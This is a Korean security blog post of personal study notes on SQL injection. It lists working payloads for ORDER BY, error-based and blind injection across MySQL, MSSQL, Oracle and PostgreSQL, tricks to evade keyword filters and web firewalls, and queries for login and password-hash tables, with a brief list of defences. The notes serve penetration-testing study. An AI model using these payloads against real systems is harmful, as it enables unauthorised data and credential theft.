본문 바로가기

웹/보안

SQL 인젝션 정리

 

쿼리 테스트 사이트

http://sqlfiddle.com

 

 

https://iwantadmin.tistory.com/7

 

order by절에서 인젝션

https://hacktagon.github.io/web/sql_injection/SQL_Injection_mysql_order-by_Persu

 

SQL Injection - Order by

powered by mukpiece

hacktagon.github.io

 

 

 

인젝션에서 파라미터 길이를 보는것도 중요하다. 파라미터가 100자에서 잘리는 경우도 있기때문에 필터링으로 오해하면 안된다. 

 

 

 

Order By 절 인젝션 

 

order by절에서 사용하는 서브쿼리에서 대중행 다중열이 반환되면 에러가 발생한다

이때 반응으로는 에러발생 or 데이터 검색안됨(에러는 처리해서)

 

order by (select 1 from information_schema.tables where 1=1) -- asc

이 경우 information_schema.tables 에 많은 행의 데이터가 있기 때문에 에러발생 또는 데이터 검색안됨

1=2로 거짓인 경우에만 데이터 검색됨

 

asc, desc 부분에서 인젝션이 발생한다면 앞에 콤마를 붙여줘야 한다. 

order by id, name asc (인젝션  포인트)

order by id, name , (select 1 from ...)

 

 

 

 

함수 우회

substring -> left, right, mid를 이용한다. 

 

콤마 우회

substring("test",2,1) -> substring("test" from 2 for 1)

 

문자열 우회

mysql 에서는 문자열우회 0x10 방식으로 16진수로 입력후 mid나 concat등 문자열함수를 사용하면 문자열로 변경된다. 

사실 mysql에서는 비교하는 순간 타입캐스팅까지 발생함

0b1110000 = p

이렇게 바이너리로 비교해도됨

 

mysql에서 문자열 비교는 웬만하면 소문자로 해야한다. 이유는 찾아봐야되는데 비교하다가 잘못튈 수도 있음 이유 확인해보기 

 

Group_concat(table_name) : 모든 테이블 명 출력

 

sleep(0.5) : 0.5초간 슬립. 쿼리실행 한번에 1회 실행하는데, 여러 쿼리에 같은 파라미터를 사용한다면 sleep 함수가 여러번 호출되니 주의한다. 

 

user : DB 사용자이름 

user_name : DB사용자를 순차적반환

current_name : 현재 로그인한 DB 사용자이름

session_user : 현재세션 DB 사용자 이름

sp_helpuser : 모든 사용자정보

sys.syslogins : 로그인 히스토리 정보

sp_helplogins : 로그인정보

sys.sql_logins : SQL 로그인 정보(id, hash(pass))

xp_logininfo : 사용자 로그인에 대한 정보

is_srvolemember : 사용자으 서버권한 확인

has_dbaccess : 사용자가 DB접근 권한 있는지 확인

 

 

대응방안 : prepared statement로 미리 컴파일, 확장프로시저(xp) 제거, 에러제거, 특수문자 및 쿼리예약어 필터링, 웹 서버 유저에 대한 DB권한 최소화

 

XPath : XML 문서 경로를 탐색하기 위해 사용되는 쿼리 

XQuery

관련된거 정리

' or count(parent;;*[position()=1])>0 or 'a'='b

 

 

order by는 쿼리의 맨 마지막에 와야하기 때문에 order by절에서 union 인젝션은 사용할 수 없다.

select * from a order by 1 union select null,null,null from a order by 1 -> 에러

select * from a union select null,null,null from a order by 1 -> 정상 작동

 

 

에러베이스 + 블라인드 인젝션

MySQL 

limit 이후 인젝션

SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1);

 

 

MSSQL 에러베이스 + 블라인드 인젝션

where절임

' or 1=(case when 1=1 then convert(int,@@version) else 2 end) or '1'='1

-> 커스텀 에러페이지로 이동

' or 1=(case when 2=1 then convert(int,@@version) else 2 end) or '1'='1

-> 정상출력

 

' or 1=(case when substring(user,1,1)=char(110) then convert(int,@@version) else 2 end) or '1'='1

 

또한 mssql과 postgreSQL은 1과 10자리 이상의 문자를 비교하면 에러가발생한다. 

select 1 where 1='12345678901'

-> The conversion of the varchar value '12345678190' overflowed an int column.

-> ERROR: value "12345678190" is out of range for type integer Position: 18

 

select 1 where 1='a' 도 타입이 달라서 에러가 발생한다.

-> Conversion failed when converting the varchar value 'a' to data type int.

-> ERROR: invalid input syntax for integer: "@" Position: 29

 

 

 

오라클 에러베이스+블라인드 인젝션

(select (case when 1=2 then (select 1 from dual where 1=UTL_INADDR.GET_HOST_NAME('a')) else 1 end) FROM dual)

when 조건절이 참인경우 에러발생 

 

-에러를 뱉는 다른 함수

UTL_INAADR.GET_HOST_ADDRESS( );

CTXSYS.DRITHSX.SN(1, 1);

ordsys.ord_dicom.getmappingxpath((에러 인젝션을 통해 출력하고 싶은 쿼리문),user,user);

 

UTL_INADDR은 오라클 11g 부터 관리자가 직접 ACL설정을 풀어줘야만 해당함수가 작동한다

 

블라인드로 사용하려고 해도 문법에러인 경우에는 실행조차 안되고 에러를 뱉기 때문에 

참 거짓 조건에 맞춰 작성했다 하더라도 모든 경우 에러가 발생한다. 

 

 

postgresql

select 1 where '1'=cast((case when 1=2 then 'b' else '2' end) AS INTEGER)

 

 

필터링 방식

1. 삭제

select 1 from dual where 123=1--23

2. 치환

3. 발견된 즉시 에러페이지로 리다이렉트

서버측에서 삭제,치환 필터링과 실행의 코드진행 순서에 따라 허점이 생길 수 있다. 

 

1) 파라미터에 select가 발견된 순간 무시하고 전체 검색결과가 반환되고

2) -- 와 같은 특수문자 삭제 

3) 쿼리 실행

4) 실행된 쿼리에 select가 Injection된 경우 다시 1번처럼 전체결과 반환되게 함

 

(s--elect 5 from ALL_TAB_COLUMNS where rownum=1)
전체 결과나옴
(select 5 from ALL_TAB_COLUMNS where rownum=1)
전체 결과나옴
(select 5 from ALL_TAB_COLUMNSS where rownum=1)
전체 결과나옴
(se--lect 5 from ALL_TAB_COLUMNSS where rownum=1)
에러발생

 

어떤 특수문자가 치환되는지도 확인해야함

-- ' , ( ) + || && /**/ ; 등

select 1 from dual where 123='a' 등으로 확인할 수 있다 

* 어떤 특수문자가 어떻게 필터링되어있는지 확신할 수 없기 때문에 ' or '1'='1 로만 확인후 끝내서는 안된다.

문자열에서는 '를 탈출하지 못하면 절대 불가능하지만 숫자같은곳에서도 or 1=1 테스트 해보고 order by 절에서도 테스트 해봐야 한다.

 

' 치환, --삭제, select 발견시 디폴트값검색의 필터링 적용되어있음 

공격성공 쿼리 

(sel--ect (case when 1=1 then (sel--ect 1 from dual where 1=UTL_INADDR.GET_HOST_NAME(1)) else 1 end) FROM dual)

 

(sel--ect (case when substr((sele--ct banner from v$version where rownum=1),1,1)<chr(79) then (sel--ect 1 from dual where 1=UTL_INADDR.GET_HOST_NAME(1)) else 1 end) FROM dual)

조건이 참인경우 에러발생, 거짓인경우 데이터 조회

 

ascii('O')

-> 79

chr(79)

-> 'O'

substr((sele--ct banner from v$version where rownum=1),1,1)

-> 'O'

 

 

 

 

데이터베이스 종류 알아보는 방법(mysql mssql oracle)

information_schema.tables : mysql, mssql

dual : oracle, mysql

select 1 where 1=1 : mssql

 -> mysql, oracle은 where 앞에 from이 무조건 와야한다. 

select 1 : mysql, mssql

 -> oracle은 select 뒤에 from 필수이다.

SQLite는 picoCTF 롸업올려둔거 보면 있다 

 

 

& | 연산자 

oracle 에서 ||는 concat.

-> select 1 from dual where 11=1 || 1; 참

 

| & ^ 하면 비트연산 or and xor

mysql 에서 || 는 or && 는 and

-> select 1 from information_schema.tables where 1=1 && 1=2;   거짓

 

 

mssql 에서 &, | 는 bit연산

-> select 1 where 0 =1 & 2

 

 

not 연산자

mysql : ~, !, - 

-> select 1 from information_schema.tables where --1=1;   참

-> select 1 from information_schema.tables where ---1=1;   거짓

 

 

포인트의 값

where절 문자열 mssql : S022'%2b'7

-> select 1 where 'S0227'='S022'+'7'; 참

-> select 1 where 'S0227' like '%S022'+'7%'; 참

 

where절 숫자 mssql : 120%2b3

-> select 1 where 123=120+3

 

where절 문자열 oracle : S022'||'7';

-> select 1 from dual where 'S0227'='S022' || '7'; 참

-> select 1 from dual where 'S0227' like '%S022' || '7%'; 참

 

where절 숫자 oracle : 12||3

-> select 1 from dual where 123=12 || 3; 참

 

where절 문자열 mysql : 1'xor'1   (1'^'1)

-> select 1 from information_schema.tables where 'S0227'='1'xor'1' limit 1; 참

-> select 1 from information_schema.tables where 'S0227' like '%1'xor'1%' limit 1; 참

* mysql 은 숫자를 따옴표로 묶어도 숫자로 인식한다. '1'xor'1' = 숫자 0반환

  -> 하지만 'S0227'='0' 에서 0은 문자로 인식해서 거짓을 반환함

* mysql 은 문자열과 0을 비교하면 무조건 참을 반환한다.

 

where절 숫자 mysql : 120%2b3

-> select 1 where 123=120+3

 

 

테이블

dual : mysql, oracle

information_schema.tables : mysql, mssql, postgreSQL

sysobjects : mssql (select top 1 obj.name from sysobjects obj)

sys : mssql (select value from sys.configurations where name='xp_cmdshell') 값이 1이면 xp_cmdshell 활성화

tabs, cols : oracle

 

mssql : sys.tables, sys.databases, sys.columns, sys.type

www.sisense.com/blog/sql-cheat-sheet-retrieving-column-description-sql-server/

 

기타 팁 

1. DBMS는 문자열을 싱글쿼터안에 넣어야 하는데 문자열 안에서 싱글쿼터를 인식하도록 할 때 '를 사용한다. 

select '1''' -> 1'

앞의 파란색 싱글쿼터가 뒤의 빨간 싱글쿼터를 문자열의 일부로 인식하게 한다. 

문자열 where절에 값을 입력할 때 싱글쿼터 개수에 따라 응답이 다르다면 인젝션 가능성이 존재한다.

' 홀수 -> 에러 혹은 조회x / ' 짝수 -> 조회x 혹은 '가 포함된 게시글 조회 등

select "1" 은 문자열이 싱글쿼터로 감싸진게 아니기 때문에 에러 발생

 

 

싱글쿼터가 2 싱글쿼터로 변환되는 경우 

쿼리에서 사용되는 어떤 함수의 리턴값이 취약한 문자열이 반환되길 바라거나 가끔 유니코드를 아스키문자로 변환시켜주는 함수를 사용할 수 있기 때문에 ʻ 또는 ʼ (0x02BB 또는 0x02BC) 가 '(0x27)로 변경될 수도 있다.

 

 

언어에따른 특징

asp : %00~%FF 범위를 벗어나면 %를 무시한다.

 UN%ION SE%LECT -> UNION SELECT

 웹방화벽 우회 가능. 

 

' > 보안' 카테고리의 다른 글

파이썬 SQL 인젝션  (0) 2019.09.30
운영체제 명령실행  (0) 2019.09.03
주요 Editor 샘플페이지 정리  (0) 2019.08.16
XSS 정리  (0) 2019.08.09
Response 헤더 정보노출 취약점  (0) 2019.08.09